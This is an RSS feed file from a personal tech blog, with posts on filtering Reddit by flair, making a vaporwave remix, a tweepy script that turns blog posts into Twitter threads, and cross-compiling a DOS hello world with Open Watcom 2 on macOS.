path: root/docs/feed.rss

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	<channel>
		<title>Navan's Archive</title>
		<description>Rare Tips, Tricks and Posts</description>
		<link>https://web.navan.dev/</link><language>en</language>
		<lastBuildDate>Wed, 27 Mar 2024 23:01:34 -0000</lastBuildDate>
		<pubDate>Wed, 27 Mar 2024 23:01:34 -0000</pubDate>
		<ttl>250</ttl>
		<atom:link href="https://web.navan.dev/feed.rss" rel="self" type="application/rss+xml"/>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2023-10-22-search-by-flair-reddit.html
			</guid>
			<title>
				Search / Filter posts by flair on Reddit
			</title>
			<description>
				Search posts by flair on Reddit Web by using _
			</description>
			<link>https://web.navan.dev/posts/2023-10-22-search-by-flair-reddit.html</link>
			<pubDate>Sun, 22 Oct 2023 00:37:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="search-filter-posts-by-flair-on-reddit">Search / Filter posts by flair on Reddit</h1>

<p>Remember to replace any spaces in the flair with <code>_</code></p>

<p>E.g. <code>flair:Snail_Mail</code> limited to r/penpals will only show posts that have the flair <code>Snail Mail</code>.</p>

<p><img src="/assets/posts/reddit-flair-search.png" alt="Screenshot of Old Reddit with search filter being used" /></p>

<p>I wish this was documented somewhere.</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-03-08-Making-Vaporwave-Track.html
			</guid>
			<title>
				Making My First Vaporwave Track (Remix)
			</title>
			<description>
				I made my first vaporwave remix
			</description>
			<link>https://web.navan.dev/posts/2020-03-08-Making-Vaporwave-Track.html</link>
			<pubDate>Sun, 08 Mar 2020 23:17:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="making-my-first-vaporwave-track-remix">Making My First Vaporwave Track (Remix)</h1>

<p>I finally completed my first quick and dirty vaporwave remix of "I Want It That Way" by the Backstreet Boys</p>

<h1 id="v-a-p-o-r-w-a-v-e">V A P O R W A V E</h1>

<p>Vaporwave is all about A E S T H E T I C S. Vaporwave is a type of music genre that emerged as a parody of Chillwave, shared more as a meme rather than a proper musical genre. Of course this changed as the genre become mature</p>

<h1 id="how-to-vaporwave">How to Vaporwave</h1>

<p>The first track which is considered to be actual Vaporwave is Ramona Xavier's Macintosh Plus, this set the guidelines for making Vaporwave</p>

<ul>
<li>Take a 1980s RnB song</li>
<li>Slow it down</li>
<li>Add Bass and Treble </li>
<li>Add again</li>
<li>Add Reverb ( make sure its wet )</li>
</ul>

<p>There you have your very own Vaporwave track.</p>

<p>( Now, there are some tracks being produced which are not remixes and are original )</p>

<h1 id="my-remix">My Remix</h1>

<iframe width="300" height="202" src="https://www.bandlab.com/embed/?id=aa91e786-6361-ea11-a94c-0003ffd1cad8&blur=false" frameborder="0" allowfullscreen></iframe>

<h1 id="where-is-the-programming">Where is the Programming?</h1>

<p>The fact that there are steps on producing Vaporwave, this gave me the idea that Vaporwave can actually be made using programming, stay tuned for when I publish the program which I am working on ( Generating A E S T H E T I C artwork and remixes)</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2021-06-25-Blog2Twitter-P1.html
			</guid>
			<title>
				Posting Blog Posts as Twitter Threads Part 1/n
			</title>
			<description>
				Converting Posts to Twitter Threads
			</description>
			<link>https://web.navan.dev/posts/2021-06-25-Blog2Twitter-P1.html</link>
			<pubDate>Fri, 25 Jun 2021 00:08:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="posting-blog-posts-as-twitter-threads-part-1n">Posting Blog Posts as Twitter Threads Part 1/n</h1>

<p>Why? Eh, no good reason, but should be fun.</p>

<h2 id="plan-of-action">Plan of Action</h2>

<p>I recently shifted my website to a static site generator I wrote specifically for myself. 
Thus, it should be easy to just add a feature to check for new posts, split the text into chunks for Twitter threads and tweet them.
I am not handling lists or images right now.</p>

<h2 id="time-to-code">Time to Code</h2>

<p>First, the dependency: tweepy for tweeting.</p>

<p><code>pip install tweepy</code></p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">tweepy</span>

<span class="n">consumer_key</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">&quot;consumer_key&quot;</span><span class="p">]</span>
<span class="n">consumer_secret</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">&quot;consumer_secret&quot;</span><span class="p">]</span>

<span class="n">access_token</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">&quot;access_token&quot;</span><span class="p">]</span>
<span class="n">access_token_secret</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">&quot;access_token_secret&quot;</span><span class="p">]</span>

<span class="n">auth</span> <span class="o">=</span> <span class="n">tweepy</span><span class="o">.</span><span class="n">OAuthHandler</span><span class="p">(</span><span class="n">consumer_key</span><span class="p">,</span> <span class="n">consumer_secret</span><span class="p">)</span>
<span class="n">auth</span><span class="o">.</span><span class="n">set_access_token</span><span class="p">(</span><span class="n">access_token</span><span class="p">,</span> <span class="n">access_token_secret</span><span class="p">)</span>

<span class="n">api</span> <span class="o">=</span> <span class="n">tweepy</span><span class="o">.</span><span class="n">API</span><span class="p">(</span><span class="n">auth</span><span class="p">)</span>
</code></pre>
</div>

<p>The program need to convert the blog post into text fragments.</p>

<p>It reads the markdown file, removes the top YAML content, checks for headers and splits the content.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">tweets</span> <span class="o">=</span> <span class="p">[]</span>

<span class="n">first___n</span> <span class="o">=</span> <span class="mi">0</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sample_markdown_file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">():</span>
        <span class="k">if</span> <span class="n">first___n</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">line</span> <span class="o">==</span> <span class="s2">&quot;---</span><span class="se">\n</span><span class="s2">&quot;</span><span class="p">:</span>
                <span class="n">first___n</span> <span class="o">+=</span> <span class="mi">1</span>
            <span class="k">continue</span>
        <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
        <span class="n">line</span> <span class="o">+=</span> <span class="s2">&quot; &quot;</span>
        <span class="k">if</span> <span class="s2">&quot;#&quot;</span> <span class="ow">in</span> <span class="n">line</span><span class="p">:</span>
            <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s2">&quot;#&quot;</span><span class="p">,</span><span class="s2">&quot;&quot;</span><span class="p">)</span>
            <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
            <span class="n">line</span> <span class="o">=</span> <span class="s2">&quot;</span><span class="se">\n</span><span class="s2">&quot;</span> <span class="o">+</span> <span class="n">line</span>
            <span class="n">line</span> <span class="o">+=</span> <span class="s2">&quot;</span><span class="se">\n\n</span><span class="s2">&quot;</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">260</span> <span class="ow">and</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">))</span> <span class="o">&lt;=</span> <span class="mi">260</span><span class="p">:</span>
                <span class="n">tweets</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">+=</span> <span class="n">line</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">tweets</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
        <span class="k">except</span> <span class="ne">IndexError</span><span class="p">:</span>
            <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">260</span><span class="p">:</span>
                <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;ERROR&quot;</span><span class="p">)</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="n">tweets</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</code></pre>
</div>

<p>Every status update using tweepy has an id attached to it, for the next tweet in the thread, it adds that ID while calling the function.</p>

<p>For every tweet fragment, it also appends 1/n.</p>

<div class="codehilite">
<pre><span></span><code><span class="k">for</span> <span class="n">idx</span><span class="p">,</span> <span class="n">tweet</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">tweets</span><span class="p">):</span>
    <span class="n">tweet</span> <span class="o">+=</span> <span class="s2">&quot; </span><span class="si">{}</span><span class="s2">/</span><span class="si">{}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">idx</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">))</span>
    <span class="k">if</span> <span class="n">idx</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">a</span> <span class="o">=</span> <span class="kc">None</span>
        <span class="n">a</span> <span class="o">=</span> <span class="n">api</span><span class="o">.</span><span class="n">update_status</span><span class="p">(</span><span class="n">tweet</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">a</span> <span class="o">=</span> <span class="n">api</span><span class="o">.</span><span class="n">update_status</span><span class="p">(</span><span class="n">tweet</span><span class="p">,</span><span class="n">in_reply_to_status_id</span><span class="o">=</span><span class="n">a</span><span class="o">.</span><span class="n">id</span><span class="p">)</span>
    <span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">tweet</span><span class="p">),</span><span class="n">end</span><span class="o">=</span><span class="s2">&quot; &quot;</span><span class="p">)</span>
    <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;</span><span class="si">{}</span><span class="s2">/</span><span class="si">{}</span><span class="se">\n</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">idx</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span><span class="nb">len</span><span class="p">(</span><span class="n">tweets</span><span class="p">)))</span>
</code></pre>
</div>

<p>Finally, it replies to the last tweet in the thread with the link of the post.</p>

<div class="codehilite">
<pre><span></span><code><span class="n">api</span><span class="o">.</span><span class="n">update_status</span><span class="p">(</span><span class="s2">&quot;Web Version: </span><span class="si">{}</span><span class="s2">&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">post_link</span><span class="p">))</span>
</code></pre>
</div>

<h2 id="result">Result</h2>

<p><blockquote class="twitter-tweet" data-dnt="true" data-theme="dark"><p lang="en" dir="ltr">Posting Blog Posts as Twitter Threads Part 1/n <br><br> Why? Eh, no good reason, but should be fun. <br> Plan of Action <br><br> I recently shifted my website to a static site generator I wrote specifically for myself. 1/5</p>&mdash; Navan Chauhan (@navanchauhan) <a rel="noopener" target="_blank" href="https://twitter.com/navanchauhan/status/1408165730487443456?ref_src=twsrc%5Etfw">June 24, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>

<p><blockquote class="twitter-tweet" data-lang="en" data-dnt="true" data-theme="dark"><p lang="en" dir="ltr">Web Version: <a rel="noopener" target="_blank" href="https://t.co/zROU1F5DYv">https://t.co/zROU1F5DYv</a></p>&mdash; Navan Chauhan (@navanchauhan) <a rel="noopener" target="_blank" href="https://twitter.com/navanchauhan/status/1408168879617052674?ref_src=twsrc%5Etfw">June 24, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>

<h2 id="whats-next">What's Next?</h2>

<p>For the next part, I will try to append the code as well. 
I actually added the code to this post after running the program.</p>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2024-03-15-setting-up-macos-for-8088-dos-dev.html
			</guid>
			<title>
				Cross-Compiling Hello World for DOS on macOS
			</title>
			<description>
				This goes through compiling Open Watcom 2 and creating simple hello-world exampls
			</description>
			<link>https://web.navan.dev/posts/2024-03-15-setting-up-macos-for-8088-dos-dev.html</link>
			<pubDate>Fri, 15 Mar 2024 13:16:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="cross-compiling-hello-world-for-dos-on-macos">Cross-Compiling Hello World for DOS on macOS</h1>

<p>Technically this should work for any platform that OpenWatcom 2 supports compiling binaries for. Some instructions are based on <a rel="noopener" target="_blank" href="https://retrocoding.net/openwatcom-gateway-to-ancient-world-of-x86">a post at retrocoding.net</a>,
 and <a rel="noopener" target="_blank" href="http://nuclear.mutantstargoat.com/articles/retrocoding/dos01-setup/#hello-world-program">John Tsiombikas's post</a></p>

<h2 id="prerequisites">Prerequisites</h2>

<p>You should already have XCode / Command Line Tools, and Homebrew installed. To compile Open Watcom for DOS you will need DOSBox (I use DOSBox-X).</p>

<div class="codehilite">
<pre><span></span><code>brew<span class="w"> </span>install<span class="w"> </span>--cask<span class="w"> </span>dosbox-x
</code></pre>
</div>

<h2 id="compiling-open-watcom-v2">Compiling Open Watcom v2</h2>

<p><em>If this process is super annoying, I might make a custom homebrew tap to build and install Open Watcom</em></p>

<div class="codehilite">
<pre><span></span><code>git<span class="w"> </span>clone<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2
cp<span class="w"> </span>open-watcom-v2/setvars.sh<span class="w"> </span>custom_setvars.sh
</code></pre>
</div>

<p>Now, edit this <code>setvars.sh</code> file. My file looks like this:</p>

<div class="codehilite">
<pre><span></span><code><span class="ch">#!/bin/zsh</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWROOT</span><span class="o">=</span><span class="s2">&quot;/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2&quot;</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWTOOLS</span><span class="o">=</span>CLANG
<span class="nb">export</span><span class="w"> </span><span class="nv">OWDOCBUILD</span><span class="o">=</span><span class="m">0</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWGUINOBUILD</span><span class="o">=</span><span class="m">0</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWDISTRBUILD</span><span class="o">=</span><span class="m">0</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWDOSBOX</span><span class="o">=</span><span class="s2">&quot;/Applications/dosbox-x.app/Contents/MacOS/dosbox-x&quot;</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">OWOBJDIR</span><span class="o">=</span>binbuildV01
.<span class="w"> </span><span class="s2">&quot;</span><span class="nv">$OWROOT</span><span class="s2">/cmnvars.sh&quot;</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">&quot;OWROOT=</span><span class="nv">$OWROOT</span><span class="s2">&quot;</span>
<span class="nb">cd</span><span class="w"> </span><span class="s2">&quot;</span><span class="nv">$OWROOT</span><span class="s2">&quot;</span>
</code></pre>
</div>

<p>Note, your <code>OWRTOOT</code> is definitely going to be in a different location.</p>

<div class="codehilite">
<pre><span></span><code><span class="nb">source</span><span class="w"> </span>./custom_setvars.sh
./build.sh
./build.sh<span class="w"> </span>rel
</code></pre>
</div>

<p>This will build, and then copy everything to the <code>rel</code> directory inside <code>open-watcom-v2</code> directory. Since I ran this on an Apple Silicon Mac, 
 all the binaries for me are in the <code>armo64</code> directory. You can now move everything inside the rel folder to another location, or create a simple 
 script to init all variables whenever you want.</p>

<p>I like having a script called <code>exportVarsForDOS.sh</code> </p>

<div class="codehilite">
<pre><span></span><code><span class="ch">#!/bin/zsh</span>

<span class="nb">export</span><span class="w"> </span><span class="nv">WATCOM</span><span class="o">=</span>/Users/navanchauhan/Developer/8088Stuff/open-watcom-v2/rel
<span class="nb">export</span><span class="w"> </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$WATCOM</span>/armo64
<span class="nb">export</span><span class="w"> </span><span class="nv">EDDAT</span><span class="o">=</span><span class="nv">$WATCOM</span>/eddat

<span class="c1"># For DOS 8088/8086 development</span>
<span class="nb">export</span><span class="w"> </span><span class="nv">INCLUDE</span><span class="o">=</span><span class="nv">$WATCOM</span>/h
<span class="nb">export</span><span class="w"> </span><span class="nv">LIB</span><span class="o">=</span><span class="nv">$WATCOM</span>/lib286<span class="w"> </span><span class="c1"># You don&#39;t really need this</span>
</code></pre>
</div>

<p>Then, when you need to load up these variables, you can simply run <code>source exportVarsForDOS.sh</code> or <code>. exportVarsForDOS.sh</code></p>

<h2 id="hello-world">Hello World</h2>

<h3 id="buliding-without-any-makefiles">Buliding without any Makefiles</h3>

<p>Create a new file called <code>example1.c</code></p>

<div class="codehilite">
<pre><span></span><code><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Hello World!&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre>
</div>

<p>First we compile the code:</p>

<div class="codehilite">
<pre><span></span><code>$<span class="w"> </span>wcc<span class="w"> </span>example1.c
Open<span class="w"> </span>Watcom<span class="w"> </span>C<span class="w"> </span>x86<span class="w"> </span><span class="m">16</span>-bit<span class="w"> </span>Optimizing<span class="w"> </span>Compiler
Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:11:55
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1984</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
example1.c:<span class="w"> </span><span class="m">7</span><span class="w"> </span>lines,<span class="w"> </span>included<span class="w"> </span><span class="m">818</span>,<span class="w"> </span><span class="m">0</span><span class="w"> </span>warnings,<span class="w"> </span><span class="m">0</span><span class="w"> </span>errors
Code<span class="w"> </span>size:<span class="w"> </span><span class="m">19</span>
</code></pre>
</div>

<p>Then, link to make an executable:</p>

<div class="codehilite">
<pre><span></span><code>$<span class="w"> </span>wlink<span class="w"> </span>name<span class="w"> </span>example1.exe<span class="w"> </span>system<span class="w"> </span>dos<span class="w"> </span>file<span class="w"> </span>example1.o
Open<span class="w"> </span>Watcom<span class="w"> </span>Linker<span class="w"> </span>Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:10:09
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1985</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
loading<span class="w"> </span>object<span class="w"> </span>files
searching<span class="w"> </span>libraries
creating<span class="w"> </span>a<span class="w"> </span>DOS<span class="w"> </span>executable<span class="w"> </span>
</code></pre>
</div>

<p>If you want to test this executable, jump to the section titled <code>Testing with DOSBox-X</code> below.</p>

<h3 id="simple-makefile">Simple Makefile</h3>

<div class="codehilite">
<pre><span></span><code><span class="nv">obj</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>main.o<span class="w"> </span>hello.o
<span class="nv">bin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>tizts.com

<span class="nv">CC</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>wcc
<span class="nv">CFLAGS</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>-0
<span class="nv">LD</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>wlink

<span class="nf">$(bin)</span><span class="o">:</span><span class="w"> </span><span class="k">$(</span><span class="nv">obj</span><span class="k">)</span>
<span class="w">    </span><span class="k">$(</span>LD<span class="k">)</span><span class="w"> </span>name<span class="w"> </span><span class="nv">$@</span><span class="w"> </span>system<span class="w"> </span>dos<span class="w"> </span>file<span class="w"> </span>main.o<span class="w"> </span>file<span class="w"> </span>hello.o<span class="w"> </span>

<span class="nf">.c.o</span><span class="o">:</span>
<span class="w">    </span><span class="k">$(</span>CC<span class="k">)</span><span class="w"> </span><span class="k">$(</span>CFLAGS<span class="k">)</span><span class="w"> </span>$&lt;

<span class="nf">clean</span><span class="o">:</span>
<span class="w">    </span>rm<span class="w"> </span><span class="k">$(</span>obj<span class="k">)</span><span class="w"> </span><span class="k">$(</span>bin<span class="k">)</span>
</code></pre>
</div>

<p>Where, <code>main.c</code></p>

<div class="codehilite">
<pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">hello</span><span class="p">(</span><span class="kt">void</span><span class="p">);</span>

<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">    </span><span class="n">hello</span><span class="p">();</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre>
</div>

<p>and <code>hello.c</code></p>

<div class="codehilite">
<pre><span></span><code><span class="cm">/* hello.c */</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">&lt;stdio.h&gt;</span>

<span class="kt">void</span><span class="w"> </span><span class="nf">hello</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w">    </span><span class="n">printf</span><span class="p">(</span><span class="s">&quot;Hello!&quot;</span><span class="p">);</span>
<span class="p">}</span>
</code></pre>
</div>

<p>To compile into <code>tizts.com</code> simply run <code>wmake</code></p>

<div class="codehilite">
<pre><span></span><code>$<span class="w"> </span>wmake
➜<span class="w">  </span>simple-cpp<span class="w"> </span>wmake
Open<span class="w"> </span>Watcom<span class="w"> </span>Make<span class="w"> </span>Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:10:16
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1988</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
<span class="w">    </span>wcc<span class="w"> </span>-0<span class="w"> </span>main.c
Open<span class="w"> </span>Watcom<span class="w"> </span>C<span class="w"> </span>x86<span class="w"> </span><span class="m">16</span>-bit<span class="w"> </span>Optimizing<span class="w"> </span>Compiler
Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:11:55
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1984</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
main.c<span class="o">(</span><span class="m">8</span><span class="o">)</span>:<span class="w"> </span>Warning!<span class="w"> </span>W138:<span class="w"> </span>No<span class="w"> </span>newline<span class="w"> </span>at<span class="w"> </span>end<span class="w"> </span>of<span class="w"> </span>file
main.c:<span class="w"> </span><span class="m">8</span><span class="w"> </span>lines,<span class="w"> </span>included<span class="w"> </span><span class="m">53</span>,<span class="w"> </span><span class="m">1</span><span class="w"> </span>warnings,<span class="w"> </span><span class="m">0</span><span class="w"> </span>errors
Code<span class="w"> </span>size:<span class="w"> </span><span class="m">12</span>
<span class="w">    </span>wcc<span class="w"> </span>-0<span class="w"> </span>hello.c
Open<span class="w"> </span>Watcom<span class="w"> </span>C<span class="w"> </span>x86<span class="w"> </span><span class="m">16</span>-bit<span class="w"> </span>Optimizing<span class="w"> </span>Compiler
Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:11:55
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Portions<span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">1984</span>-2002<span class="w"> </span>Sybase,<span class="w"> </span>Inc.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
Source<span class="w"> </span>code<span class="w"> </span>is<span class="w"> </span>available<span class="w"> </span>under<span class="w"> </span>the<span class="w"> </span>Sybase<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Public<span class="w"> </span>License.
See<span class="w"> </span>https://github.com/open-watcom/open-watcom-v2#readme<span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
hello.c:<span class="w"> </span><span class="m">8</span><span class="w"> </span>lines,<span class="w"> </span>included<span class="w"> </span><span class="m">818</span>,<span class="w"> </span><span class="m">0</span><span class="w"> </span>warnings,<span class="w"> </span><span class="m">0</span><span class="w"> </span>errors
Code<span class="w"> </span>size:<span class="w"> </span><span class="m">17</span>
<span class="w">    </span>wlink<span class="w"> </span>name<span class="w"> </span>tizts.com<span class="w"> </span>system<span class="w"> </span>dos<span class="w"> </span>file<span class="w"> </span>main.o<span class="w"> </span>file<span class="w"> </span>hello.o
Open<span class="w"> </span>Watcom<span class="w"> </span>Linker<span class="w"> </span>Version<span class="w"> </span><span class="m">2</span>.0<span class="w"> </span>beta<span class="w"> </span>Mar<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">2024</span><span class="w"> </span><span class="m">13</span>:10:09
Copyright<span class="w"> </span><span class="o">(</span>c<span class="o">)</span><span class="w"> </span><span class="m">2002</span>-2024<span class="w"> </span>The<span class="w"> </span>Open<span class="w"> </span>Watcom<span class="w"> </span>Contributors.<span class="w"> </span>All<span class="w"> </span>Rights<span class="w"> </span>Reserved.
